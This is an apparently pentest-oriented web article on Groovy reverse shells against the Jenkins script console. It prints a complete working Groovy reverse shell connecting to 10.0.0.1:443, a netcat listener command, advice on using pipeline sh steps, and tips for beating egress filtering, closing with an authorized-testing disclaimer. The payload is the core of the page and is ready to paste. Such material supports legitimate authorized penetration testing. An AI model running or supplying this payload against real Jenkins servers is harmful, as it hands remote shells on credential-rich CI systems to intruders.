Groovy Reverse Shell: The Jenkins Script Console Classic
How a Groovy reverse shell works on the JVM, the one used against the Jenkins script console, and where else Groovy execution shows up.
Groovy reverse shells exist for one overwhelmingly common reason: the Jenkins script console. An authenticated (or misconfigured-anonymous) Jenkins at /script runs arbitrary Groovy as the Jenkins user, and CI servers tend to sit in trusted parts of the network with credentials to everything. That makes the Groovy payload one of the highest-value items in an authorized internal test.
The Script Console One-Liner
Groovy runs on the JVM, so this is structurally the Java reverse shell — a ProcessBuilder plus a Socket, with the streams pumped between them:
String host="10.0.0.1";int port=443;String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0) so.write(pi.read());
while(si.available()>0) po.write(si.read());
so.flush(); po.flush(); Thread.sleep(50);
try{ p.exitValue(); break; }catch(Exception e){}
};
p.destroy(); s.close();
Paste it into the Jenkins script console, catch it with nc -lvnp 443, and you have a shell as the Jenkins service account. On Windows agents, swap "/bin/bash" for "cmd.exe".
Where Groovy Execution Comes From
Beyond the obvious script console, Groovy runs in several Jenkins contexts worth checking in an assessment:
- Pipeline scripts (
Jenkinsfile) — ashstep is even simpler; you may not need a Groovy socket at all, justsh 'bash -c "..."'. - Build steps that execute Groovy.
- Other Groovy hosts — Gradle builds, Grails apps, and various Java middleware embed Groovy.
If you can run a pipeline sh step, prefer the plain bash one-liner — it is shorter and the JVM socket dance is unnecessary.
When It Won't Connect
- No bash on the agent — use
cmd.exe(Windows) or the pure-socket approach from the Java post. - Egress filtered from the CI server — prefer
443/80; CI boxes often have broad outbound, but test per egress filtering. - Listener mismatch — see choosing a listener.
General triage: why reverse shells fail.
Generate the Underlying Payload
The reverse shell generator produces the bash payload (for pipeline sh steps) and the listener; wrap the JVM form above around it when you only have the script console.
Authorized Testing Only
Use Groovy reverse shells only against Jenkins and JVM systems you own or are explicitly authorized to test. Authorization is what makes the work legitimate.